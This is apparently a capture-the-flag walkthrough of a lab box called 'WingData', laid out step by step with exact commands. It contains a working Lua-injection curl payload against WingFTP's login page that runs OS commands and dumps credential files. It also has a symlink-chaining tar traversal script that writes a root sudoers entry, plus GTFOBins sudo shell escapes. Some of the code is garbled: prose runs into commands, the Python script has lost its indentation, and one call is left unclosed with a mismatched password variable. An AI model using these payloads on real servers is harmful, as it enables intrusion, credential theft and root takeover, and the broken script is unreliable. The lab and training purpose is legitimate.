WingData
Summary
I exploited a server-side Lua injection flaw in the WingFTP web interface to execute operating-system commands as the service account. Credentials for a local OS user recovered from WingFTP's own configuration files were reused to authenticate over SSH.
A root-owned backup restoration service that extracted tar archives without path validation was then abused with a symlink-chaining payload that escaped the destination directory and wrote a sudoers file granting me unrestricted root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
Full TCP scan with service fingerprinting.
$ nmap -sC -sV -p- --min-rate 5000 $TARGETRegister the virtual host so HTTP requests route correctly.
$ echo "$TARGET wingdata.htb ftp.wingdata.htb" >> /etc/hostsConfirm the WingFTP web interface responds on this vhost.
$ curl -sI -H 'Host: ftp.wingdata.htb' http://$TARGET/Exact commands 1
POST the injection to /loginok.html — URL-decoded payload: anonymous<NUL>]]<LF>local h = io.popen("id")<LF>... — then fetch dir.html with the returned session cookie to read the output. Substitute the io.popen argument for any desired command.
$ rm -f /tmp/wing.cookies; curl -sS -m 10 -c /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=anonymous%00]]%0dlocal+h+%3d+io.popen(%22id%22)%0dlocal+r+%3d+h%3aread(%22*a%22)%0dh%3aclose()%0dprint(r)%0d--&password=' http://$TARGET/loginok.html -o /tmp/wing.login; curl -sS -m 10 -b /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' http://$TARGET/dir.html | head -c 2500FixPatch or isolate the WingFTP Server Lua injection vulnerabilityCritical
Exact commands 1
Reuse the Lua injection to dump WingFTP's XML user definitions; look for <Password> elements containing OS-level credentials.
$ rm -f /tmp/wing.cookies; curl -sS -m 10 -c /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=anonymous%00]]%0dlocal+h+%3d+io.popen(%22find+/opt/wingftp+-name+*.xml+-exec+cat+{}+%3b%22)%0dlocal+r+%3d+h%3aread(%22*a%22)%0dh%3aclose()%0dprint(r)%0d--&password=' http://$TARGET/loginok.html; curl -sS -m 10 -b /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' http://$TARGET/dir.htmlFixRemove OS user credentials from FTP application configurationHigh
Exact commands 2
Password: $PASSWORD
$ ssh wacky@$TARGETCapture the user flag — -> <user.txt>
$ cat ~/user.txtExact commands 1
Build the traversal tar entirely in memory and upload it via SFTP as wacky. The root backup service picks it up and extracts it, writing /etc/sudoers.d/wacky-root.
$ python3 -c "exec(\"\"\"import io, os, tarfile, paramiko
host='$TARGET'
user='wacky'
password='$PASSWORD'
dest='/opt/backup_clients/restored_backups/restore_pwn'
steps='abcdefghijklmnop'
component='d'*((4096-(len(dest)+1))//(len(steps)+1))
buf=io.BytesIO()
with tarfile.open(fileobj=buf,mode='w') as t:
path=''
step_path=''
for i in steps:
d=os.path.join(path,component)
ti=tarfile.TarInfo(d); ti.type=tarfile.DIRTYPE; ti.mode=0o755; t.addfile(ti)
s=os.path.join(path,i)
ti=tarfile.TarInfo(s); ti.type=tarfile.SYMTYPE; ti.linkname=component; t.addfile(ti)
path=d
step_path=os.path.join(step_path,i)
linkpath=os.path.join(step_path,'l'*254)
ti=tarfile.TarInfo(linkpath); ti.type=tarfile.SYMTYPE; ti.linkname=os.path.join(*(['..']*len(steps))); t.addfile(ti)
ti=tarfile.TarInfo('escape'); ti.type=tarfile.SYMTYPE; ti.linkname=os.path.join(linkpath,*(['..']*4),'etc','sudoers.d'); t.addfile(ti)
data=b'wacky ALL=(ALL) NOPASSWD: ALL\n'
ti=tarfile.TarInfo('escape/wacky-root'); ti.size=len(data); ti.mode=0o400; t.addfile(ti,io.BytesIO(data))
buf.seek(0)
c=paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy()); c.connect(host,username=user,password=$CHOSEN_PASSWORD
sftp=c.open_sftp(); sftp.putfo(buf,dest+'.tar'); sftp.close(); c.close()
\"\"\")FixHarden the backup restoration service against tar path traversalCritical
Exact commands 2
Invoke a root shell using the NOPASSWD sudoers entry written by the tar exploit.
$ sudo su -Capture the root flag — -> <root.txt>
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.